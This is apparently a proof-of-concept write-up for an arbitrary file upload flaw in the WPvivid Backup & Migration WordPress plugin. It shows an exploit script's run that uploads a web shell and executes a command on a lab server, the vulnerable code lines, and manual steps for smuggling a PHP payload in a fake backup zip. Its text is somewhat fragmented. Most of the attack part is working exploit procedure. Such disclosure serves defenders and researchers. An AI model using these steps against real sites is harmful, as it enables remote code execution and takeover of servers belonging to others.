
Migration, Backup, Staging – WPvivid Backup & Migration <= 0.9.116 - Authenticated (Administrator+) Arbitrary File Upload
The wpvivid-backuprestore plugin does not sanitize the file types of the wpvivid_upload_import_files action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server. NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.
hack.php. python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}
Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 78309sec preferred_lft 78309sec
inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86105sec preferred_lft 14105sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
The wpvivid_upload_import_files action calls the upload_files function on line 2210 of /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php without enforcing any file type validation.
Line 2235 $file_name is set as follows:
$file_name=basename(sanitize_text_field($_POST['name']));
The $file_name variable is then used on line 2246 to write the file to the file system.
$file_handle = fopen($path.$file_name, 'wb');
echo "<?php phpinfo(); ?>" >> wpvivid-0000000000000_1969-04-20-00-00_export_post.zip
WPvivid Backup tab.Export & Import option from the side menu, and then select the Import tab.Upload and Import button, and select the wpvivid-0000000000000_1969-04-20-00-00_export_post.zip we created in step zero.

POST request will contain something like the following, forward this request along:POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b
poc.php:

https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php to execute the proof of concept.
